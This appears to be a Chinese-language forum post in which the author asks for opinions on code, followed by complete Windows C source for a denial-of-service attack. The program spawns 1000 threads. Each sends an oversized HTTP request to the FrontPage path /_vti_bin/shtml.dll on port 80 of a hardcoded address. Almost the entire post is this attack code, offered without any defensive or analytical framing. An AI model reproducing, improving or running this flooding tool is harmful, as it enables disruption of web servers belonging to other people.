|
<p>看下以下这段代码,你觉得可以不?</p><p></p><p><font color="#000000">#include <stdio.h></stdio.h>
<br/>#include <string.h></string.h>
<br/>#include <winsock.h></winsock.h>
<br/>#include <windows.h></windows.h>
<br/>#include <process.h></process.h> <br/><br/>void Dos(void *chara); <br/><br/>void main(int argc,char *argv[]) <br/>{ <br/>WORD wVersionRequested; <br/>WSADATA wsaData; <br/>int err; <br/>long lDo ; <br/>if (argc < 2) <br/>{ <br/>printf("Usage: %s IP\n",argv[0]); <br/>exit(1); <br/>return ; <br/>} <br/><br/>wVersionRequested = MAKEWORD( 2, 2 ); <br/><br/>err = WSAStartup( wVersionRequested, &wsaData ); <br/>if ( err != 0 ) <br/>{ <br/>return; <br/>} <br/><br/><br/><br/>if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 ) <br/>{ <br/>WSACleanup( ); <br/>return; <br/>} <br/><br/><br/>printf("wait ...\n"); <br/>for (lDo = 0 ;lDo < 1000;lDo++) <br/>{ <br/>//printf("1\n"); <br/>_beginthread(Dos, 0, (void*)argv[1]); <br/>} <br/>Sleep( 1000000L ); <br/>} <br/><br/>void Dos(void *chara) <br/>{ <br/>long lLen; <br/>long lDo ; <br/>char *ip ; <br/>char buffer[2000]; <br/>struct sockaddr_in serv_addr; <br/>SOCKET sockfd ; <br/>char plusvuln[]="GET /_vti_bin/shtml.dll/"; <br/>ip= (char*)chara; <br/>memset(buffer,'\0',2000); <br/><br/>serv_addr.sin_family =AF_INET; <br/>serv_addr.sin_addr.s_addr = inet_addr("192.168.0.131"); <br/>serv_addr.sin_port = htons(80); <br/><br/>if ((sockfd =socket(AF_INET,SOCK_STREAM,0))<0) <br/>{ <br/>printf("Create Socket faild \n"); <br/>return ; <br/>} <br/><br/>if (connect(sockfd,(struct sockaddr*)&serv_addr,sizeof(serv_addr))<0) <br/>{ <br/>printf("Connect faild \n");; <br/>} <br/>else <br/>{ <br/>lLen = send ( sockfd,plusvuln,strlen(plusvuln),0 ); <br/>for (lDo = 0 ;lDo < 7000;lDo ++) <br/>{ <br/>lLen = send ( sockfd,"postinfdddddddddd",strlen("postinfdddddddddd"),0) ; <br/>if (lLen < 0 ) <br/>{ <br/>printf("Send faild \n"); <br/>return; <br/>} <br/>} <br/>lLen = send ( sockfd,"tzl.html HTTP/1.0\n\n",strlen("tzl.html HTTP/1.0\n\n") + 1,0) ; <br/>//recv(sockfd,buffer,2000,0); <br/>//printf(buffer); <br/>//printf("\n"); <br/>} <br/>closesocket(sockfd); <br/>} <br/></font></p> |
|